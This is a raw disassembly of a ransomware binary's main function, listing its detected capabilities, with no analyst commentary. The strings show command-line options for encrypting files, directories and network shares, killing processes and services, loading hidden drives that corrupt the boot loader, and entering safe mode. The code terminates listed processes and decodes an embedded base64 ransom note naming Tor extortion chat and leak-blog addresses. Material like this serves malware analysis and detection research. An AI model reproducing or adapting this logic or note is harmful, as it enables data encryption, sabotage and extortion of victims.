Function at 0x407840
Capabilities:
Accept command line arguments
Create thread
Decode data using base64 via winapi
Empty the recycle bin
Enumerate processes
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
movlpd qword [ebp - 0x28], xmm0
push eax
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
movlpd qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 8], eax
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x4078db
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x80
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x24], eax
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x12c]
push eax
push str.____Error_while_parsing_arguments:__s
call fcn.00401330
add esp, 8
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x2c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push edi
cmp ebx, 1
jg 0x4078f0
xor al, al
jmp 0x407911
mov edi, 1
push str.__verbose
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40790f
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4078f5
xor al, al
jmp 0x407911
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33c], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407928
xor al, al
jmp 0x40794c
mov edi, 1
nop dword [eax]
push str.__stop_processes
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40794a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407930
xor al, al
jmp 0x40794c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a338], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x407963
xor al, al
jmp 0x40798c
mov edi, 1
nop dword [eax + eax]
push str.__encrypt_network
push dword [eax + edi*4]
call esi
test eax, eax
je 0x40798a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x407970
xor al, al
jmp 0x40798c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a339], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4079a3
xor al, al
jmp 0x4079cc
mov edi, 1
nop dword [eax + eax]
push str.__load_drives
push dword [eax + edi*4]
call esi
test eax, eax
je 0x4079ca
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4079b0
xor al, al
jmp 0x4079cc
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33b], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jg 0x4079e3
xor al, al
jmp 0x407a0c
mov edi, 1
nop dword [eax + eax]
push str.__silent
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407a0a
mov eax, dword [ebp - 8]
inc edi
cmp edi, ebx
jl 0x4079f0
xor al, al
jmp 0x407a0c
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [0x42a33a], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
cmp ebx, 1
jle 0x407a9c
mov edi, 1
lea eax, [eax + edi*4]
inc edi
push str.__mode
push dword [eax]
mov dword [ebp - 0x260], eax
call esi
test eax, eax
je 0x407a44
cmp edi, ebx
jge 0x407a9c
mov eax, dword [ebp - 8]
jmp 0x407a24
cmp edi, ebx
jge 0x407a9c
mov eax, dword [ebp - 0x260]
mov eax, dword [eax + 4]
test eax, eax
je 0x407a9c
movzx eax, word [eax]
add eax, 0xffffff9b
cmp eax, 0xe
ja case.0x407a67.103
movzx eax, byte [eax + 0x408388]
jmp dword [eax*4 + 0x408374]
mov dword [0x4298b0], 0x13
jmp 0x407a9c
mov dword [0x4298b0], 3
jmp 0x407a9c
mov dword [0x4298b0], 0
jmp 0x407a9c
mov dword [0x4298b0], 5
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x260], eax
cmp ebx, 1
jle 0x407ae1
mov edi, 1
lea eax, [eax + edi*4]
inc edi
push str.__file
push dword [eax]
mov dword [ebp - 8], eax
call esi
test eax, eax
je 0x407ad2
cmp edi, ebx
jge 0x407ae1
mov eax, dword [ebp - 0x260]
jmp 0x407ab2
cmp edi, ebx
jge 0x407ae1
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jmp 0x407ae8
mov dword [ebp - 8], 0
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x260], eax
cmp ebx, 1
jle 0x407b32
mov edi, 1
nop
lea eax, [eax + edi*4]
inc edi
push str.__dir
push dword [eax]
mov dword [ebp - 0x25c], eax
call esi
test eax, eax
je 0x407b23
cmp edi, ebx
jge 0x407b32
mov eax, dword [ebp - 0x260]
jmp 0x407b00
cmp edi, ebx
jge 0x407b32
mov edi, dword [ebp - 0x25c]
mov edi, dword [edi + 4]
jmp 0x407b34
xor edi, edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x407b4e
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00406040
add esp, 4
mov dword [ebp - 0x20], eax
jmp 0x407b55
mov dword [ebp - 0x20], 0
test edi, edi
je 0x407b6c
lea eax, [ebp - 0x14]
mov ecx, edi
push eax
call fcn.00406040
add esp, 4
mov dword [ebp - 0x18], eax
jmp 0x407b73
mov dword [ebp - 0x18], 0
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407b88
xor al, al
jmp 0x407baf
mov edi, 1
nop dword [eax]
push str.__help
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407bad
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407b90
xor al, al
jmp 0x407baf
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407bc7
xor al, al
jmp 0x407bef
mov edi, 1
nop dword [eax]
push str.__kill
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407bed
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407bd0
xor al, al
jmp 0x407bef
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407c07
xor al, al
jmp 0x407c2f
mov edi, 1
nop dword [eax]
push str.__safe_mode
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407c2d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407c10
xor al, al
jmp 0x407c2f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407c47
xor al, al
jmp 0x407c6f
mov edi, 1
nop dword [eax]
push str.__hide_cmd
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407c6d
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407c50
xor al, al
jmp 0x407c6f
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407c87
xor al, al
jmp 0x407caf
mov edi, 1
nop dword [eax]
push str.__no_background
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407cad
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407c90
xor al, al
jmp 0x407caf
mov al, 1
mov ebx, dword [ebp - 0x2c]
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x25c], eax
cmp ebx, 1
jg 0x407cc7
xor al, al
jmp 0x407cef
mov edi, 1
nop dword [eax]
push str.__no_print
push dword [eax + edi*4]
call esi
test eax, eax
je 0x407ced
mov eax, dword [ebp - 0x25c]
inc edi
cmp edi, ebx
jl 0x407cd0
xor al, al
jmp 0x407cef
mov al, 1
cmp byte [ebp - 0x10], 0
mov byte [ebp - 0xb], al
je 0x407e0a
mov eax, dword [ebp - 0x28]
push dword [eax]
push str.Usage:__s__ARGUMENTS__n
call fcn.004012f0
push str.Arguments:_n
call fcn.00401330
push str._t__file__filePath___t_t_t_tEncrypt_only_specified_file_s__n
call fcn.00401330
push str._t_t__file_C:_temp.txt_n
call fcn.00401330
push str._t_t__file_C:_temp.txt_D:_temp2.txt_n
call fcn.00401330
push str._t__dir__dirPath___t_t_t_tEncrypt_only_specified_directory_ies__n
call fcn.00401330
push str._t_t__dir_C:_n
call fcn.00401330
push str._t_t__dir_C:_D:_n
call fcn.00401330
push str._t__mode__mode___t_t_t_t_tEncryption_mode_n
call fcn.00401330
push str._t_t__mode_fast__t_t_t_tEncrypt_5___from_entire_file_n
call fcn.00401330
push str._t_t__mode_medium__t_t_t_tEncrypt_15___from_entire_file__default__n
call fcn.00401330
push str._t_t__mode_slow__t_t_t_tEncrypt_25___from_entire_file_n
call fcn.00401330
push str._t_t__mode_entire__t_t_t_tEncrypt_100___from_entire_file_n
call fcn.00401330
push str._t__help__t_t_t_t_t_tPrint_this_message_n
call fcn.00401330
push str._t__verbose__t_t_t_t_tEnable_verbosity_n
call fcn.00401330
add esp, 0x40
push str._t__silent__t_t_t_t_tEnable_silent_encryption__no_extension_and_notes_will_be_added__n
call fcn.00401330
push str._t__stop_processes__t_t_t_tTry_to_stop_processes_via_RestartManager_n
call fcn.00401330
push str._t__encrypt_network__t_t_t_tEncrypt_network_shares_n
call fcn.00401330
push str._t__load_drives__t_t_t_t_tLoad_hidden_drives__will_corrupt_boot_loader__n
call fcn.00401330
push str._t__hide_cmd__t_t_t_t_tHide_console_window_n
call fcn.00401330
push str._t__no_background__t_t_t_tDont_change_background_image_n
call fcn.00401330
push str._t__no_print__t_t_t_t_tDont_print_note_on_printers_n
call fcn.00401330
push str._t__kill__t_t_t_t_t_tKill_processes_services_n
call fcn.00401330
push str._t__safe_mode__t_t_t_t_tEnter_safe_mode_n
call fcn.00401330
add esp, 0x24
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret
cmp byte [0x42a33c], 0
je 0x407eb0
push str.Settings:_n
call fcn.00401330
cmp byte [0x42a33a], 0
mov esi, 0x4251e0
mov eax, esi
mov edi, 0x4251e4
cmove eax, edi
push eax
push 0x4251e8
call fcn.004012f0
cmp byte [0x42a338], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Try_to_stop_processes_via_RestartManager_n
call fcn.004012f0
cmp byte [0x42a339], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Encrypt_network_shares_n
call fcn.004012f0
cmp byte [0x42a33b], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Load_hidden_drives_n
call fcn.004012f0
cmp byte [ebp - 0xf], 0
mov eax, esi
cmove eax, edi
push eax
push str._t__s__Kill_processes_and_services_n
call fcn.004012f0
cmp byte [ebp - 0xe], 0
cmove esi, edi
push esi
push str._t__s__Enter_safe_mode_n_n
call fcn.004012f0
add esp, 0x34
cmp byte [ebp - 0xf], 0
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x407f99
cmp byte [0x42a33c], 0
je 0x407ed6
push str.___Killing_processes..._n
call fcn.00401330
add esp, 4
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x258], 0x22c
lea eax, [ebp - 0x258]
mov dword [ebp - 0x25c], edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov esi, 0x424c44
nop word [eax + eax]
mov edx, dword [esi]
lea ecx, [ebp - 0x234]
call fcn.004061e0
test eax, eax
je 0x407f6a
push dword [ebp - 0x250]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x407f6a
push 9
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x407f67
cmp byte [0x42a33c], 0
je 0x407f67
push dword [ebp - 0x250]
lea eax, [ebp - 0x234]
push eax
push str.___Proccess__s_with_PID:__d_was_killed_succesffully_n
call fcn.004012f0
add esp, 0xc
push edi
call ebx
add esi, 4
cmp esi, 0x424c5c
jl 0x407f10
mov edi, dword [ebp - 0x25c]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x407f00
push edi
call ebx
call fcn.00406b90
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 8]
push 0
push 0
push eax
push 0
push 1
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
mov dword [ebp - 8], 0
call edi
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
push eax
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call ebx
test eax, eax
je 0x408011
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x408011
push 0
push 0
lea eax, [ebp - 8]
push eax
push esi
push 1
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call edi
push eax
push str.WW91ciBkYXRhIGlzIHN0b2xlbiBhbmQgZW5jcnlwdGVkLg0KRG93bmxvYWQgVE9SIEJyb3dzZXIgdG8gY29udGFjdCB3aXRoIHVzLg0KDQpJRA0KIH4gJWlkJQ0KDQpDaGF0IHNpdGU6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhjaGF0bHk0emx1ZG1obWk3NWpyd2h5Y25vcXZreGI0cHJvaHhteXpmNGV1ZjVnanhyb2FkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICMxOiBodHRwOi8vbHlueGNoYXRmdzRyZ3NjbHA0NTY3aTRsbGtxanIya2x0YXVtd3dvYnhkaWszcWEyb29ycmtuYWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzI6IGh0dHA6Ly9seW54Y2hhdG9obXBwdjZhdTY3bGxvYzJ2czZjaHk3bnlhN2RzdTJoaHM1NW1janhwMmpvZ2xhZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhjaGF0YnlrcTJ2eWN2eXJ0anFiM3l1ajR6ZTJ3dmR1YnpyMnU2YjYzMnRyd3ZkYnNnbXlkLm9uaW9uL2xvZ2luDQogfiBUT1IgTWlycm9yICM0OiBodHRwOi8vbHlueGNoYXRkZTRzcHY1eDZ4bHd4ZjQ3amRvN3d0d3dnaWtkb2Vyb3hhbXBodTNlN3h4NWRvcWQub25pb24vbG9naW4NCiBIFRPUiBNaXJyb3IgIzU6IGh0dHA6Ly9seW54Y2hhdGR5M3RnY3VpanNxb2Zoc3NvcGNlcGlyamZxMmY0cHZiNXFkNHVuNGRocXl4c3dxZC5vbmlvbi9sb2dpbg0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhjaGF0ZHlrcG9lbGZmcWx2Y2J0cnk2bzdneGszcnMyYWlhZ2g3ZGR6NXlmdHRkNnF1eHFkLm9uaW9uL2xvZ2luDQogfiBNaXJyb3IgIzc6IGh0dHA6Ly9seW54Y2hhdC5uZXQvbG9naW4NCg0KT3VyIGJsb2c6DQogfiBUT1IgTmV0d29yazogaHR0cDovL2x5bnhibG9neHN0Z3pzYXJmeWsycHZoZHY0NWlnZ2hiNHptdGhuem1zaXB6ZW9kdXJ1ejN4d3FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMTogaHR0cDovL2x5bnhibG9nY283cjM3anQ3cDV3cm1meHpxemU3Z2h4dzZyaWh6a3FjNDU1cWx1YWN3b3RjaXlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMjogaHR0cDovL2x5bnhibG9naWp5NGpmb2JsZ2l4MmtseG1rYmdlZTRsZW9ldWdlN3F0NGZwZmtqNHpiaTJzanlkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjMzogaHR0cDovL2x5bnhibG9nbXgzcmJpd2czcnBqNG5kczI1aGpzbnJ3a3B4dDVnYXpuZXRmaWt6NGd6MmNzeWFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNDogaHR0cDovL2x5bnhibG9nb3hsbHRoNGI0NmNmd2xvcDVwZmo0czdkeXYzN3l1eTdxbjJmdGFuNmdkNzJoc2FkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNTogaHR0cDovL2x5bnhibG9ndHdhdGZzcndqM29hdHBland4azVibmdxY2Q1ZjdzMjZpc2thZ2Z1N291YW9tamFkLm9uaW9uLw0KIH4gVE9SIE1pcnJvciAjNjogaHR0cDovL2x5bnhibG9neHV0dWZvc3NhZWF3bGlqM2ozdWlrYWxvbGw1a282Z3J6aGt3ZGNscmpuZ3Jmb2lkLm9uaW9uLw0KIH4gTWlycm9yICM3OiBodHRwOi8vbHlueGJsb2cubmV0Lw0KIA
call ebx
test eax, eax
jne 0x408073
push esi
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x42a33c], 0
mov dword [0x42a340], 0
je 0x40805f
push 0
push 0x80
lea ecx, [ebp - 0x12c]
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x12c]
push eax
push str.____Failed_to_decode_readme:__s
call fcn.00401330
add esp, 8
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a12a
mov esp, ebp
pop ebp
ret
